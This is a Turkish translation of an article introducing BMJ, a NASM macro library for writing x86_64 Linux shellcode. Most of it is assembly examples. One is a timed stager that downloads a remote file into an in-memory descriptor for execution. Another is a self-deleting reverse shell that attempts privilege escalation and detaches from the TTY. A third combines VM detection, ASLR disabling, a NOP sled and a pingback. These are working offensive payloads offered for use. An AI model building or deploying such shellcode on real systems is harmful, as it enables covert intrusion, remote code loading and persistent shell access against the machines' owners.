▀█████████▄ ▄▄▄▄███▄▄▄▄ ▄ ███ 00 ███ ▄ █ █▀▀▀███▀▀▀█ █ ▄ █ █ ███ ███ █ █ █fff███ █0x90 █ █ ▄███▄▄90▄██ █ █ █ ███ █ █ █ █ █ ▀▀███▀▀▀██▄ █ █ ███ █ █ █0x ███0xc0██▄ █ █ █ ███ █ █ █ █ █ ███c3 ███ █ █ █ 0x0fff█ █ █ █ █ █ ▄█████|████▀ ▀ █ ███ | ▀ █▄▄▄▄█ █ | | | | | | | | | | . | . | . . . . . | . . | * . | . * . . . | . . | . * | * . * . . ~~~~~~~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ - - - - - - - - - - - - - - =]D> | . . | * * | . * * . | . | . | . * . * * | | . | * . . * |---- [Bare] | | . | | [Metal] ----| | | [Jacket]-----------------------------| ----{ Wintrmvte @ redcodelabs.io <*> }---- [ @akilgundogan / M. Akil Gündoğan tarafından çevirilmiştir. ] | - - - - [ Giriş ] Birkaç yıl önce el ile shellcode yazmaya başladığımda, çok sayıda harika kaynak ve referanslara sahip olduğundan (başta SLAE olmak üzere) genellikle x86_x64 mimarisinde kalmaya gayret ettim. Benim için 64 bit ekosistemine geçiş oldukça zor oldu, çünkü piyasada yer alan kaynakların çoğu modern Linux senaryolarını karşılamıyordu ve low-level bir yaklaşımla ele almıyordu. Bunu yapanlar da genellikle birkaç temel kavramlara değinmekle yetiniyordu. Bu araç yeni bir şey ortaya koymaz ama gelecekteki projelerinize eminim ki yardımcı olacak. Burada görev otomasyonu/task otomation için standart NASM makrolarının yanı sıra assembly tekniklerinizi geliştirecek birtakım kompleks makrolar da bulacaksınız. | - - - - [ Örnek #1 = Kod Yürütme/Command Execution ] Öncelikle çok düz bir örnekle başlayacağız - arbitrary command execution / keyfi kod yürütme Kodumuz yükseltilmiş sistem yetkileriyle çalıştırılıp çalıştırılmadığını kontrol etmelidir. Eğer öyleyse arka planda bir shell oturumu başlatır ve sistemi yeniden başlatmaya çalışır. ------------ cmd_exec.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: is_root ; Eğer UID=0 ise RAX'a 1 döndür. cmp rax, 1 ; Yukarıda belirlenen şartı kontrol eder jne xit ; Eğer root değilse yürütme akışından exit(0) ile çıkın run_bg "echo pvvned" ; Çalıştırmak istenen komut reboot xit: ; Program çıkışı exit 0 -------------------------------------- Haydi derleyelim: $ nasm -f elf64 -o cmd_exec.o cmd_exec.asm $ ld -m elf_x86_64 cmd_exec.o -o cmd_exec Oluşturulan ELF dosyasını sudo eki ile ve sudo eki olmadan çalıştırmayı deneyin. | - - - - [ Örnek #2 = Zaman Manipülasyonu ve Second Stage Loader'lar] Şimdi biraz daha kompleks bir şeyler oluşturalım. Başlangıçta payload'ımız kendisi için bir yaşam süresi oluşturacaktır (5 dakika diyelim). Bu zaman dilimi içerisinde uzak bir dosyayı (mesela yürütülebilir dosyalar veya bir LKM gibi.) bir in-memory file descriptor ile eşlemeye çalışır. Eğer server dosyaların bulunduğu sunucuyla herhangi bir nedenden ötürü bağlantı başarısız olursa her connect(2) denemesi 20 saniyelik aralarla sonsuz bir döngü şeklinde devam eder. Haydi koda göz atalım : ------------------------------- timed_stager.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: set_ttl 5, MINUTES ; Daha önceden tanımlanmış bir time constant kullanarak payload'ın çalışma süresini belirliyoruz ; Bu süreç sonunda mevcut process SIGALRM gönderip çıkış yapar infinite_loop file_download, 20, SECONDS file_download: init_sock_tcp ; RAX üzerinde yeni bir TCP soketi açılır push rax pop r11 ; Soketin fd'si (file descriptor) daha sonra saklanmak üzere kaydedilir sock_connect "127.0.0.1", 4444 ; Yukarıda belirtilenler dosya sunucusuna dair bilgiler memfd_create ; in-memory file descriptor oluşturulur ve RAX'a return edilir push rax pop r12 fd2fd ; Bir file descriptor içeriğini okuyup diğerine yazar ; Açık olarak işlenen operand'lar r11 (kaynak) ve r12 (hedef) şeklindedir fakat herhangi bir register da kullanılabilir ret ; 'file_download:' etiket akışını bir 'ret' ile durdurmayı unutmayın . . . ; Artık dosyamızı 'fd_exec r12' gibi bir makroyla çalıştırabilir veya istediğimiz herhangi bir şey yapabiliriz. (nmap() gibi) ------------------------------------------------------------- sock_connect kullandığımızdan sunucunun adresini hex olarak belirtmemiz gerekmediğine dikkat edin çünkü ilgili makro hex dönüştürücüye sahip. | - - - - [ Örnek #3 = Sadece Reverse Shell Değil] Üçüncü örneğimiz, basit bir TCP reverse shell örneğinden oluşuyor. Eğer belirli koşullar sağlanırsa yürütülebilir dosyası dosya sistemi üzerinden kaldırılır ve process'in öncelik seviyesi yükseltilir ('htop' üzerinde de görülebileceği gibi) Yükümüz ayrıca yetkilerini yükseltmeye çalışır (fakat genellikle acıklı bir şekilde başarısız olur) ve TTY'den kendisini ayırır. Tam daemon-benzeri davranış (setsid(0x00) eklentisi) 0x05 ile ifade edilmiş 'daemon_init' makrosunda bulunabilir. ------------------------------- reverse_shell.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: remove_self ; Eğer ikili dosyanın boyutu aşağı yukarı mevcut yükün boyuna (fsize değişkenine eşitse) kendini kaldırır set_priority MAX_PRIO ; Process önceliğini maksimum hale getiririz elevate_full ; SETGID(0) ve SETUID(0) aracılığıyla yetki yükseltme denemesi tty_detach ; setsid(0x00) == TTY'den ayrılınır revshell "127.0.0.1", 5555 ; Spawn a standard TCP reverse shell Standart bir TCP reverse shell oturumu başlatılır get_current_size_var ; 'remove_self' makrosu tarafından kullanılan 'fsize' değişkeni aktif hale getirilir ------------------------------------------------------------- | - - - - [ Örnek #4 = Size Padding ve VM Tespiti] Son olarak kısa bir NOP sled eklemek için iki padding makrosu kullanalım ve payload'ımızın boyutunu toplam 256 byte'a çıkaralım. Ayrıca payload'ı yürütmenin başarılı olup olmadığını kontrol etmek için ana bilgisayara öylesine bir pingback isteğinde bulunalım. Ayrıca en üste bir sanallaştırma tespit yöntemi ve kodumuzun tek ana bilgisayarda zombi benzeri davranışlar sergilemesini engellemek için bir dosya kilidi ayarlayalım. ------------------------------- vm_and_stuff.asm ----------- BITS 64 %include "bmj.asm" section .text global _start _start: nops 40 flock ; Aynı anda çalışan yükler yalnızca tek bir işlem önceliğinde çalışmaya zorlanır vm_age ; /etc/hostname'in STATX yapısını inceleyerek bir VM içerisinde başlayıp başlamadığımızı kontrol eder disable_aslr ; Gelecekteki kullanımlar için ASLR devre dışı bırakılır sock_connect "127.0.0.1", 6666 ; Reverse TCP pingback adresi padd_byte 256, 0x90 ; Nasm ile oluşturulduktan sonra toplamda payload boyutunun 256 byte olması için '0x90' ile doldurulur. ------------------------------------------------------------- Okuduğunuz için teşekkürler, III. sayıda görüşürüz ! o/ [0] https://github.com/redcode-labs/BMJ